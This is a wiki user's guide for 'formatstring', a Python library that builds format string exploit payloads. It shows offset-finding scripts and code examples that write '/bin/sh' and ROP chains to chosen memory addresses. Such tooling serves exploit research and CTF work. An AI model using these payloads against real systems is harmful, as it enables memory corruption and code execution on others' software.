Skip to content
Maxime Arthaud edited this page Nov 5, 2015 · 5 revisions

User's guide

This is the user's guide for formatstring, a python 3 library to help the exploitation of format string vulnerabilities.

Install

The best way to install formatstring is to use pip:

pip install formatstring

On Archlinux, there is also a package on the AUR: python-formatstring-git

Scripts

The first thing you will need to do when exploiting a format string is to get the offset of your buffer (and the padding if you need one).

Formatstring is here to help you with that. Using fmtstr_pattern_create, you can create a pattern to guess this offset, given the maximum size of your buffer:

$ fmtstr_pattern_create 64 
ABCDEFGH|%1$p|%2$p|%3$p|%4$p|%5$p|%6$p|%7$p|%8$p|%9$p|%10$p

You can specify the starting offset with -s (default: 1).

Once you got the result, you can give it to fmtstr_pattern_offset:

$ fmtstr_pattern_offset --arch x86_32
Enter the result of the format string on a pattern given by pattern_create:
ABCDEFGH|0x3ff|0xf77205a0|0x4|0x4|0x7|0x1b3220|0x43424120|0x47464544|0x31257c48|0x257c7024
Found buffer at offset 8 with a padding of 3 bytes

You can specify the architecture using --arch. See fmtstr_pattern_offset -h for more information.

Payloads

You can generate payloads using the formatstring.payloads module:

import sys
from formatstring import *

settings = PayloadSettings(offset=8, padding=3, arch=x86_32)

p = WritePayload()
p[0x8049790] = b'/bin/sh\x00'
p[0x80497a8] = struct.pack('@I', 0x01020304)
sys.stdout.buffer.write(p.generate(settings))

formatstring.payloads.PayloadSettings

PayloadSettings is the object holding the settings of your format string vulnerability.

Attributes:

  • offset (int): The offset of your buffer
  • padding (int): The padding, if you need one (default: 0)
  • arch (Architecture): The architecture (default: your computer architecture). See formatstring.architectures for more information.
  • forbidden_bytes (bytes): The bytes to avoid (default: empty)
  • padding_byte (bytes): The byte use for padding (default: None)

Example:

settings = PayloadSettings(offset=8, padding=3, arch=x86_64, forbidden_bytes=b'\x00\n')

formatstring.payloads.ReadPayload

ReadPayload generates a payload to read a null-terminated string (%s) at a given address.

Constructor:

  • address (int): The address where you want to read

generate method parameters:

  • settings (PayloadSettings): The payload settings
  • start_len (int): The length of already printed data

Example:

p = ReadPayload(0xdeadbeef)
sys.stdout.buffer.write(b'42' + p.generate(settings, start_len=2))

formatstring.payloads.WritePayload

WritePayload generates a payload to write bytes at given addresses.

Constructor: no parameter.

__setitem__ method parameters:

  • address (int): The address where you want to write
  • value (bytes): The set of bytes you want to write

generate method parameters:

  • settings (PayloadSettings): The payload settings
  • start_len (int): The length of already printed data

Example:

p = WritePayload()
p[0x8049790] = b'/bin/sh\x00'
p[0x80497a8] = struct.pack('@I', 0x01020304) + struct.pack('@I', 0x05060708) # you can write a ROP chain!
sys.stdout.buffer.write(p.generate(settings))

Note: the generate method can raise a ForbiddenByteException exception if the library is unable to generate a payload without a forbidden byte.

Architectures

The formatstring.architectures module allows you to specify an architecture to PayloadSettings.

formatstring.architectures.Architecture

Define an architecture.

Constructor parameters:

  • name (str): The architecture name
  • bits (int): The number of bits (8, 16, 32, 64, ...)
  • endian (str): Specify the endianness ('little' or 'big')

Already defined architectures

Here is the set of already defined architectures: x86_32, x86_64, aarch64, alpha, avr, amd64, arm, cris, i386, ia64, m68k, mips, mips64, msp430, powerpc, powerpc64, s390, sparc, sparc64, thumb, vax

formatstring.architectures.local_arch

Return the architecture of your computer.

formatstring.architectures.binary_arch

binary_arch returns the architecture used by a binary file, given the path to this file

Example:

settings = PayloadSettings(offset=4, arch=binary_arch('/bin/ls'))

Pattern

The formatstring.pattern module allows you to generate patterns and guess the offset of your buffer. You can use directly the scripts fmtstr_pattern_create and fmtstr_pattern_offset.

formatstring.pattern.make_pattern

Generate a pattern to get the offset of your buffer

arguments:

  • buffer_size (int): The maximum size of your buffer
  • start_offset (int): The starting offset (default: 1)

formatstring.pattern.compute_offset

Compute the offset of your buffer given the result of the format string on the pattern generated by make_pattern.

arguments:

  • buffer (string): The result of make_pattern
  • start_offset (int): The starting offset (default: 1)
  • arch (Architecture): The architecture of your system. (default: your computer architecture). See the formatstring.architectures module.

returns:

  • False if the offset is not found
  • Otherwise, returns the couple (offset, padding)